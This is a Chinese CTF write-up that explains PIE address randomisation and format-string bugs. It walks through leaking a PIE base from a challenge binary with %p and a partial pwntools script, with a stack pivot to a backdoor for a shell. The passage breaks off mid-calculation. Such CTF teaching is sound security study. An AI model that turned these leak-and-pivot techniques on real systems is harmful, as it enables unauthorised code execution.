pie:
简绍
官方的话来说:
PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。
简单地说就是地址随机化
如何解决呢?我们需要得到一个函数pie地址,一般为0x55或0x56开头,去求pie_base及pie基址。跟libc利用很像。用得到的地址减去IDA里对应的函数地址得到pie_base之后我们就可以调用IDA中的函数。
例:
main_pie=0x1382
main(真实地址)=main_pie+pie_base
格式化字符串漏洞
简单说一下,格式化字符串漏洞就是printf输出的没有格式化字符串
printf("格式化字符串",参数...)
格式化字符串:
%c为单个字符形式
%s为多个字符形式
%d为数字形式
%f是转为浮点型
%x是转为十六进制形式,不带0x
%p是转为十六进制,但是带0x
%n 将%n之前打印出来的字符的个数存入到参数中
%n printf写入的一个参数,要想写入参数
总之:通过printf的漏洞,去找偏移,让后通过要修改东西的的地址+%偏移+$n去泄露东西来做题
开pie保护的:
没有开:
两者一对比,就算不使用checksec,也可以看出是否开了pie保护(但一般还是需要checksec的)
例题
接下来,那一道经典的例题讲解pie保护的绕过方式(通过格式化字符串漏洞)
checksec一下,NX,PIE保护(pwn2为文件名)
放入IDA中进行分析,审计代码,很直接,让我们输入数字选择要去的地方,之后我们继续跟进看看不同数字里边的情况
1:明显存在栈溢出,但我们没有pie基址。就算存在后门也不能直接用
这道题也是存在后门的
我们继续看2:
存在格式化字符串漏洞,这时我们要利用都找到了,但为了严谨再看一下剩下的选项
3:
跟进3发现什么都没有,实际上是被隐藏了,为什么这么说呢,当我们追踪后门的时候发现就这3中
思路就有了:
通过格式化字符串漏洞来泄露pie地址,之后计算得到pie_base,再通过栈迁移返回至后门函数获取shell
首先去找pie地址,%+数字$p,先设一个比较小的数字,之后通过pwndbg去找正确的偏移
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
gdb.attach(p)
pause()
p.recvuntil("Your choice :")
p.sendline(str(2))
p.recvuntil("Welcome to Terra_Cotta_Warriors")
bug()
p.send("%10$p")p.interactive()
这里我们用10先去试试,打印出0x7ffd757b5690(红色框),我们可以发现下一个是0x56351c3e73a0 !!!而且还是main函数
通过%11$p去泄露地址之后pie_base=pie-main-181&#